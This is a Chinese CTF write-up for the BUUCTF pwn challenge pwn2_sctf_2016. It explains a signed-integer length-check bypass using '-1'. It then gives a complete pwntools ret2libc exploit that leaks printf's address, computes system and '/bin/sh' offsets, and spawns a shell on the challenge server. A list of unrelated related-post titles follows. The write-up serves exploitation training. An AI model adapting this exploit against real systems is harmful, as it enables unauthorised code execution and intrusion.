[BUUCTF-pwn]——pwn2_sctf_2016
[BUUCTF-pwn]——pwn2_sctf_2016
- 题目地址: https://buuoj.cn/challenges#pwn2_sctf_2016
老规矩还是先checksec一下,
在IDA中看看, 这个get_n(a, b)的作用就是读入 b 个字符。将其合成的字符串赋值给a。
最常用的方法,也是我经常使用的方法就是利用 libc库 计算偏移。然后循环利用函数。只有printf函数可以打印, 找到需要用的地址。
思路
利用printf泄露printf的实际地址, 通过计算偏移,以此来找到system 和 ‘/bin/sh’
但是中间你会发现有个32的限制, 仔细观察 变量类型你就会发现 get_n的第二个参数的类型是 unsigned int 类型, int 类型的负数, 在这里对应的就是正数, 而且还是很大的正数。可以用来绕过检查。
注意不要如下写, 里面有 %u 孩子在这里卡了一下
p.sendlineafter("Ok, sounds good. Give me %u bytes of data!\n", payload)
exploit
from pwn import *
from LibcSearcher import *
p = remote("node3.buuoj.cn",25008)
elf = ELF("./pwn2_sctf_2016")
context.log_level = 'debug'printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
s_addr = 0x080486F8
vuln_addr = 0x0804852Fpayload = "a" * (0x2c + 0x4) + p32(printf_plt) + p32(vuln_addr) + p32(s_addr) + p32(printf_got)
p.sendlineafter("How many bytes do you want me to read? ", '-1')p.sendlineafter("bytes of data!\n", payload)
p.recvline()p.recvuntil("You said: ")
printf_addr = u32(p.recv(4))print hex(printf_addr)libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')payload = "a" * (0x2c + 0x4) + p32(system_addr) + p32(vuln_addr) + p32(binsh)p.sendlineafter("How many bytes do you want me to read? ", '-1')p.sendlineafter("bytes of data!\n", payload)
p.interactive()
遗憾
通过旁边的do_thing函数可以找到 int 80 汇编指令。由于上一题碰到了, 这一题想试试是否可以通过execve("/bin/sh", NULL, NULL) 来解决, 我觉得应该可以不知道, 你有没有兴趣尝试一下, 做出来了。如果可以给我分享一下吗
[BUUCTF-pwn]——pwn2_sctf_2016相关推荐
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- 简单几步写一个laravel扩展包
- 大唐杯5g题库_“大唐杯”全国大学生移动通信技术大赛暨5G教育创新论坛成功举行...
- html画线需要适应不同屏幕,hr标签不止创建html水平线也可以画圆噢
- C语言 realloc函数 带着内存游走的函数
- 14.图像透视——投影几何性质,平行线(Parallel Lines),消失点(Vanishing Point)_3
- Delphi单元文件基本结构
- arm-linux-androideabi-addr2line
- Android 判断wifi是2.4GHz还是5GHz
- Python爬虫基础之Urllib
- spring实战(第四版)读书笔记 附电子书网盘链接
- linux的mysql占用cpu过高_关于在Linux环境下,Mysql占用CPU使用率100%的优化
- 美图秀秀一寸照片的制作
- 墨画子卿第三章第6节:我是画珞
- java实现华氏温度和摄氏温度互相转换
- HFSS求解类型和求解设置
- TensorFlow Serving 使用 及 部署
- 企业为什么选择软件定制开发?
- 大一软件工程要学什么
- 网站装饰html代码,html常用装饰代码分享
- 李小龙私人的超级训练计划
热门文章
- 内存泄漏了,咋回事?
- asp.net导出GridView数据到Excel
- [python学习] 模仿浏览器下载CSDN源文并实现PDF格式备份
- OpenGL之仿“天体”运动渲染球体之间的旋转效果
- 2015年第六届蓝桥杯 - 省赛 - C/C++大学B组 - F. 加法变乘法
- 2013\Province_C_C++_A\4.颠倒的价牌
- 一场疫情,炸出了退休的COBOL程序员
- C语言中的各输出格式含义
- Web服务器常用端口
- 【Linux】一步一步学Linux——date命令(81)